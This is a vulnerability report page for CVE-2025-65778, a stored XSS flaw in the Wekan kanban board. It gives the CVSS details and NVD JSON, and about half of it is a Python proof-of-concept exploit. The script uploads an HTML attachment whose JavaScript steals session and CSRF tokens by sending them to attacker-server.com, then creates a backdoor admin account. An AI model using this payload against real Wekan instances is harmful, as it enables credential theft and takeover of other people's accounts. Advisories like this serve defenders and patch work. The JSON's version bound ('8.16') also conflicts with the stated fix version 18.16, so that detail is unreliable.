Security Vulnerability Report
中文
CVE-2025-65778 CVSS 8.1 HIGH

CVE-2025-65778

Published: 2025-12-15 14:15:57
Last Modified: 2025-12-18 01:44:39

Description

An issue was discovered in Wekan The Open Source kanban board system up to version 18.15, fixed in 18.16. Uploaded attachments can be served with attacker-controlled Content-Type (text/html), allowing execution of attacker-supplied HTML/JS in the application's origin and enabling session/token theft and CSRF actions.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:wekan_project:wekan:*:*:*:*:*:*:*:* - VULNERABLE
Wekan <= 18.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-65778 PoC - Wekan Stored XSS via Attachment Content-Type # This PoC demonstrates how to upload a malicious attachment with HTML content # and trigger XSS execution when accessed import requests import json TARGET_URL = "https://vulnerable-wekan-instance.com" ATTACKER_CONTROLLED_SERVER = "https://attacker-server.com" def cve_2025_65778_poc(): """ Proof of Concept for CVE-2025-65778 Wekan stored XSS via attacker-controlled Content-Type """ # Step 1: Login to Wekan and obtain session login_url = f"{TARGET_URL}/users/login" login_data = { "username": "[email protected]", "password": "password123" } session = requests.Session() response = session.post(login_url, json=login_data) if response.status_code != 200: print("[-] Login failed") return False # Step 2: Create a board and get board ID boards_url = f"{TARGET_URL}/api/v1/boards" board_data = { "title": "Malicious Board", "owner": session.cookies.get('userId') } board_response = session.post(boards_url, json=board_data) board_id = board_response.json().get('id') # Step 3: Upload malicious attachment with HTML content # The attachment contains XSS payload that will be served with text/html Content-Type upload_url = f"{TARGET_URL}/api/v1/attachments" xss_payload = '''<html> <head><title>Document</title></head> <body> <script> // Steal session token and CSRF token const sessionToken = localStorage.getItem('wekan-auth-token') || document.cookie; const csrfToken = document.querySelector('meta[name="csrf-token"]')?.content; // Send stolen credentials to attacker server fetch('https://attacker-server.com/steal', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ sessionToken: sessionToken, csrfToken: csrfToken, origin: window.location.origin, userAgent: navigator.userAgent }) }); // Perform CSRF attack - create admin user fetch('/api/v1/users', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-Csrf-Token': csrfToken }, credentials: 'include', body: JSON.stringify({ username: 'hacked_admin', password: 'Backdoor123!', email: '[email protected]', isAdmin: true }) }); </script> </body> </html>''' files = { 'file': ('malicious.html', xss_payload, 'text/html') } data = { 'boardId': board_id, 'cardId': 'malicious-card' } upload_response = session.post(upload_url, files=files, data=data) attachment_id = upload_response.json().get('id') attachment_url = f"{TARGET_URL}/api/v1/attachments/{attachment_id}" # Step 4: Verify Content-Type is text/html verify_response = session.head(attachment_url) content_type = verify_response.headers.get('Content-Type', '') if 'text/html' in content_type: print(f"[+] XSS Payload Uploaded Successfully") print(f"[+] Attachment URL: {attachment_url}") print(f"[+] Content-Type: {content_type}") print(f"[+] When victim visits this URL, XSS will execute!") return True else: print(f"[-] Content-Type is not text/html: {content_type}") return False if __name__ == "__main__": cve_2025_65778_poc()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65778", "sourceIdentifier": "[email protected]", "published": "2025-12-15T14:15:57.227", "lastModified": "2025-12-18T01:44:38.580", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Wekan The Open Source kanban board system up to version 18.15, fixed in 18.16. Uploaded attachments can be served with attacker-controlled Content-Type (text/html), allowing execution of attacker-supplied HTML/JS in the application's origin and enabling session/token theft and CSRF actions."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wekan_project:wekan:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.16", "matchCriteriaId": "F031B735-9703-4B9D-BDE9-CC4226B5EBD0"}]}]}], "references": [{"url": "https://github.com/wekan/wekan", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/wekan/wekan/blob/main/CHANGELOG.md#v816-2025-11-02-wekan--release", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/wekan/wekan/commit/e9a727301d7b4f1689a703503df668c0f4f4cab8", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://wekan.fi/hall-of-fame/spacebleed/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}